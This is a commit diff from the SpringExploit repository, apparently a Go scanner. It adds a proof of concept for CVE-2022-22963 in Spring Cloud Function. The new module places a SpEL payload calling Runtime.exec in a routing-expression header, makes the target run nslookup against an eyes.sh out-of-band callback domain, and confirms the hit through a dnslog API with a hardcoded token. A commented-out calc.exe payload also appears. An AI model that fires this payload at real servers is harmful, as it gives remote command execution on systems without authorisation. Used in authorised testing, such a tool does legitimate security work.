Skip to content

Commit ca10cdd

Browse files
committed
支持漏洞CVE-2022-22963检测
1 parent 9479296 commit ca10cdd

File tree

11 files changed

+183
-44
lines changed

11 files changed

+183
-44
lines changed

cmd/commons/attack/attack.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,11 +25,11 @@ func init() {
2525
}
2626

2727
func addPoc(pocs map[string]interface{}) map[string]interface{} {
28-
log.Debugln("github.com/SummerSec/SpringExploit/cmd/commons/attack/attack.go:25")
2928
log.Debug("[*] Add PoC")
3029
// TODO 添加poc
3130
//pocs["demo"] = &poc.Demo{}
32-
pocs["CVE202222947"] = &poc.CVE202222947{}
31+
//pocs["CVE202222947"] = &poc.CVE202222947{}
32+
pocs["CVE202222963"] = &poc.CVE202222963{}
3333
return pocs
3434

3535
}

cmd/commons/poc/CVE-2022-22947.go

Lines changed: 18 additions & 9 deletions
Large diffs are not rendered by default.

cmd/commons/poc/CVE-2022-22963.go

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
package poc
2+
3+
import (
4+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
5+
"github.com/fatih/structs"
6+
"github.com/imroc/req/v3"
7+
log "github.com/sirupsen/logrus"
8+
)
9+
10+
type CVE202222963 struct{}
11+
12+
func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) {
13+
14+
reqinfo := NewReqInfo()
15+
reqmap := structs.Map(reqinfo)
16+
url := target + "functionRouter"
17+
reqmap["url"] = url
18+
reqmap["method"] = "POST"
19+
dnslog := &utils.Dnslog{}
20+
dnslog.SetId("CVE-2022-22963")
21+
ranStr := dnslog.Id()
22+
dnslog.SetPre("dns")
23+
cmd := "nslookup " + ranStr + ".skysa.eyes.sh"
24+
//cmd := "calc.exe"
25+
log.Debugln(cmd)
26+
payload := "T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\")"
27+
//payload := "T(java.net.InetAddress).getByName(\"" + ranStr + ".skysa.eyes.sh\")"
28+
log.Debugf("payload: %s", payload)
29+
log.Debugf("dnslog: %s", dnslog)
30+
31+
reqmap["timeout"] = hashmap["Timeout"].(int)
32+
reqmap["retry"] = hashmap["Retry"].(int)
33+
reqmap["proxy"] = hashmap["Proxy"].(string)
34+
reqmap["mode"] = hashmap["Mode"].(int)
35+
reqmap["headers"] = map[string]string{
36+
"User-Agent": utils.GetUA(),
37+
"Content-Type": "application/x-www-form-urlencoded",
38+
//"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
39+
"spring.cloud.function.routing-expression": payload,
40+
}
41+
42+
reqmap["method"] = "POST"
43+
reqmap["body"] = ranStr
44+
// 发送请求
45+
resp := utils.Send(reqmap)
46+
47+
res := dnslog.GetDnslog()
48+
if res {
49+
if p.checkExp(resp, target, hashmap["Out"].(string)) {
50+
log.Infof("[+] %s: %s", target, "CVE-2022-22963")
51+
p.saveResult(target, hashmap["Out"].(string))
52+
}
53+
}
54+
55+
}
56+
57+
func (CVE202222963) init() {
58+
log.Debugf("CVE-2022-22963 init")
59+
60+
}
61+
62+
func (CVE202222963) saveResult(target string, file string) {
63+
context := target + " 存在CVE-2022-22963漏洞\n"
64+
utils.SaveToFile(context, file)
65+
}
66+
67+
func (p CVE202222963) checkExp(resp *req.Response, dnslog string, file string) bool {
68+
log.Debugf("CVE-2022-22963 checkExp")
69+
return true
70+
71+
}

cmd/commons/utils/dnslog.go

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
package utils
2+
3+
import (
4+
"github.com/imroc/req/v3"
5+
log "github.com/sirupsen/logrus"
6+
"time"
7+
)
8+
9+
const dnslogPre = "http://eyes.sh/api/"
10+
const skysa = "/skysa/"
11+
const token = "/?token=69a0b901"
12+
13+
type Dnslog struct {
14+
id string
15+
pre string // dns or web
16+
}
17+
18+
func (d *Dnslog) Pre() string {
19+
return d.pre
20+
}
21+
22+
func (d *Dnslog) SetPre(pre string) {
23+
d.pre = pre
24+
}
25+
26+
func (d *Dnslog) Id() string {
27+
return d.id
28+
}
29+
30+
func (d *Dnslog) SetId(id string) {
31+
d.id = GetCode(16)
32+
//d.id = id
33+
}
34+
35+
func (d *Dnslog) GetDnslog() bool {
36+
uuid := d.Id()
37+
//uuid := "dnslog"
38+
log.Debugln("uuid: ", uuid)
39+
d.SetId(uuid)
40+
t := d.Pre()
41+
log.Debugln("type: ", t)
42+
url := dnslogPre + t + skysa + uuid + token
43+
time.Sleep(time.Second * 3)
44+
log.Debugf("url: %s", url)
45+
resp, _ := req.R().Get(url)
46+
log.Debugln(resp.String())
47+
if resp.String() == "True" {
48+
return true
49+
}
50+
return false
51+
}

cmd/commons/utils/httpclient.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ func InIt(mode int, timeout int, proxy string, retry int) (client *req.Client) {
1616
// 设置超时时间
1717
client.SetTimeout(time.Duration(timeout) * time.Second)
1818
client.SetCommonRetryCount(retry)
19+
client.DisableInsecureSkipVerify()
1920
// 设置代理
2021
f := IsProxyUrl(proxy)
2122
if f {

cmd/commons/utils/setrequest.go

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,17 @@ package utils
22

33
import (
44
"github.com/imroc/req/v3"
5+
"net/http"
56
)
67

78
// SetRequest 设置请求头和请求boby
89
func SetRequest(req *req.Request, headers map[string]string, body string) *req.Request {
9-
req.SetHeaders(headers)
10+
//req.SetHeaders(headers)
11+
12+
req.Headers = make(http.Header)
13+
for k, v := range headers {
14+
req.Headers[k] = []string{v}
15+
}
1016
req.SetBody(body)
1117
return req
1218

cmd/commons/utils/useragent.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ import (
99

1010
// GetUA UserAgent generates a random user agent
1111
func GetUA() string {
12+
//return browser.Random()
1213
return uarand.GetRandom()
1314
}
1415

cmd/test/dnslog.go

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package main
2+
3+
import (
4+
"fmt"
5+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
6+
log "github.com/sirupsen/logrus"
7+
)
8+
9+
func main() {
10+
dnslog := &utils.Dnslog{}
11+
dnslog.SetPre("dns")
12+
dnslog.SetId("dnslog")
13+
f := dnslog.GetDnslog()
14+
fmt.Println(dnslog.Id())
15+
log.Debugf("id: ", dnslog.Id)
16+
fmt.Println(f)
17+
18+
}

cmd/test/header.go

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,22 @@
11
package main
22

33
import (
4-
"github.com/SummerSec/SpringExploit/cmd/commons/poc"
5-
"github.com/imdario/mergo"
4+
"fmt"
5+
"net/http"
66
)
77

88
func main() {
9-
10-
req := poc.NewReqInfo()
119
hashmap := map[string]string{
12-
"proxy": "http://127.0.0.1:8080",
13-
"url": "http://backdoor.com",
14-
"timeout": "5",
15-
"repeat": "3",
10+
"foo": "bar",
11+
"baz": "qux",
1612
}
17-
18-
//mergo.Merge(&req, hashmap)
19-
mergo.Map(&req, hashmap)
13+
header := make(http.Header)
14+
for k, v := range hashmap {
15+
header[k] = []string{v}
16+
}
17+
req, _ := http.NewRequest("GET", "http://sumsec.me", nil)
18+
req.Header = header
19+
resp, _ := http.DefaultClient.Do(req)
20+
fmt.Println(resp)
2021

2122
}

go.mod

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,9 @@ go 1.13
44

55
require (
66
github.com/corpix/uarand v0.1.1
7-
github.com/fatih/color v1.13.0
87
github.com/fatih/structs v1.1.0
9-
github.com/imdario/mergo v0.3.12 // indirect
108
github.com/imroc/req/v3 v3.10.0
11-
github.com/jinzhu/copier v0.3.5 // indirect
129
github.com/sirupsen/logrus v1.8.1
10+
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect
1311

1412
)

0 commit comments

Comments
 (0)